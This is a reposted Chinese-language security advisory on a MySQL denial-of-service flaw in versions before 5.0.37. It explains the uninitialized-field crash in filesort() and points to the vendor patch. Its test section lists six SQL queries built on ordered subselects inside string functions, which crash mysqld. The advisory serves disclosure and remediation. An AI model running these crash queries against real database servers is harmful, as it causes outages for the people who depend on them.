MySQL单行子选择远程拒绝服务漏洞
2008-02-23 07:37:15来源:互联网 阅读 ()
受影响系统:
MySQL AB MySQL < 5.0.37
不受影响系统:
MySQL AB MySQL 5.0.37
描述:
BUGTRAQ ID: 22900
MySQL是一款使用很广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。MySQL在处理特定畸形请求时存在漏洞,远程攻击者可能利用此漏洞在导致MySQL进程崩溃。
假如MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但假如在查询中使用了 ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:
libmysqld/filesort.cc:
111 FILESORT_INFO table_sort; (...) 117 memcpy(&table_sort, &table->sort, sizeof(FILESORT_INFO)); 120 outfile= table_sort.io_cache; (..) 269 err: (..) 276 if (my_b_inited(outfile)) |
include/my_sys.h:
503 #define my_b_inited(info) (info)->buffer
这可能会触发空指针引用,导致mysqld崩溃。
<*来源:S.Streichsbier B.Mueller 链接:http://www.sec-consult.com/284.html*>
测试方法:
(警告:以下程式(方法)可能带有攻击性,仅供安全研究和教学之用。使用者风险自负!)
SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1)); SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1)); SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1); SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1)); SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1)); SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol'); |
建议:
厂商补丁:
现在厂商已发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://dev.mysql.com/downloads/mysql/5.0.html#downloads
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
上一篇: 最好措施 全面解决MySQL网络安全问题
下一篇: 10个MySQL客户启动选项
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash